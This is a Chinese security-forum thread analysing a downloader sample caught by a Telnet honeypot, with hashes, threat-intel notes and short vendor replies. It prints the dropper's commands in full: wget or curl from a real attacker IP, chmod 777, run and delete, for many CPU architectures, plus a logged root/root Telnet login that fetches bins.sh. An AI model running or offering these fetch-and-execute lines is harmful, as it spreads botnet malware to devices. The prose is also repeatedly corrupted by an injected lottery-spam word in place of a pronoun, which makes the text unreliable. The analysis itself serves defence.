记录蜜罐捕获到的一个样本分析

NIKA · 发表于 2024-6-10 08:08:43

本帖最后由 NIKA 于 2024-6-10 08:10 编辑

今天晚上一看，已经有18个样本被蜜罐捕获（高交互Telnet蜜罐）了，主要就是这个样本：

文件HASH如下：

MD5：f42a6178e5da4e16254ecbdec5ca376a

SHA-1：51ad642c254d762e3c775678aa17e28601b57866

SHA-256：a093105ec49c25547511780526165a00e0d8964bd622ed2127982908379f198e
复制代码

上传至virustotal检测，62报23

接下来六合彩对攻击IP进行溯源分析，威胁情报查询如下：

访问该IP（是一个Apache安装成功的测试页）：

接下来继续着眼于该样本，由于是一个文本文件，六合彩提取文件内容如下：

#母样本内容如下：
cd /tmp; wget <http://178.215.236.209/M>; chmod 777 M; ./M; rm -rf M
cd /tmp; wget <http://178.215.236.209/MS>; chmod 777 MS; ./MS; rm -rf MS
cd /tmp; wget <http://178.215.236.209/SH>; chmod 777 SH; ./SH; rm -rf SH
cd /tmp; wget <http://178.215.236.209/x86>; chmod 777 x86; ./x86; rm -rf x86
cd /tmp; wget <http://178.215.236.209/A6>; chmod 777 A6; ./A6; rm -rf A6
cd /tmp; wget <http://178.215.236.209/I6>; chmod 777 I6; ./I6; rm -rf I6
cd /tmp; wget <http://178.215.236.209/PPC>; chmod 777 PPC; ./PPC; rm -rf PPC
cd /tmp; wget <http://178.215.236.209/I5>; chmod 777 I5; ./I5; rm -rf I5
cd /tmp; wget <http://178.215.236.209/M68>; chmod 777 M68; ./M68; rm -rf M68
cd /tmp; wget <http://178.215.236.209/A5>; chmod 777 A5; ./A5; rm -rf A5
cd /tmp; wget <http://178.215.236.209/PPC-440>; chmod 777 PPC-440; ./PPC-440; rm -rf PPC-440
cd /tmp; wget <http://178.215.236.209/A4-TL>; chmod 777 A4-TL; ./A4-TL; rm -rf A4-TL
cd /tmp; wget <http://178.215.236.209/I4>; chmod 777 I4; ./I4; rm -rf I4
cd /tmp; wget <http://178.215.236.209/M64>; chmod 777 M64; ./M64; rm -rf M64

复制代码

不难看出，该样本只是一个下载器，用于下载178.215.236.209 下的一些文件到/tmp目录，并通过chmod 777 命令修改文件可执行权限，并运行下载的这些样本 ./文件，并且在子样本运行结束后删除样本，清理痕迹。
接下来六合彩对该IP进行威胁情报查询，结果如下：

发现该IP一直存在通过恶意软件进行攻击的行为。并获取到了其攻击payload：

178.215.236.209的攻击Payload信息：渗透攻击行为：传播恶意木马攻击Payload信息详情：

["["sh","cd /tmp || wget <http://178.215.236.209/zatoempire.sh>; curl -O <http://178.215.236.209/zatoempire.sh>; chmod 777 zatoempire.sh; sh zatoempire.sh; rm -rf *.sh"]"]
复制代码

不难看出，其大概率通过此payload将样本上传至蜜罐的。去蜜罐验证一下，找到该IP的攻击记录：

该IP的请求包如下：

New connection: 188.166.242.49:41462 (172.30.51.1:23) [session: a8c9cd97e13a]
login attempt [root/root] succeeded
sh
cd /tmp; wget <http://178.215.236.209/bins.sh> ||
curl -O <http://178.215.236.209/bins.sh> && chmod 777 bins.sh && ./bins.sh; rm -rf *
Connection lost after 17 seconds

复制代码

手法基本相似，样本文件名被修改了，威胁情报的http://178.215.236.209/zatoempire.sh 现已无法访问。
到目前六合彩可以得到该攻击的基本信息如下：
到目前六合彩可以得到该攻击的基本信息如下：
[code]

六合彩运营专员 · 发表于 2024-6-10 10:09:50

您好，您提供的信息已收到，六合彩分析确认看下，感谢反馈~

NIKA · 发表于 2024-6-10 12:28:50

六合彩运营专员发表于 2024-6-10 10:09
您好，您提供的信息已收到，六合彩分析确认看下，感谢反馈~

六合彩目前已经可以查杀了

六合彩运营专员 · 发表于 2024-6-10 12:32:12

NIKA 发表于 2024-6-10 12:28
六合彩目前已经可以查杀了

感谢您的回复~

738856448 · 发表于 2024-6-30 15:24:31

小白询问一下楼主你的蜜罐是怎么部署的

[六合彩技术] 记录蜜罐捕获到的一个样本分析

浏览过的版块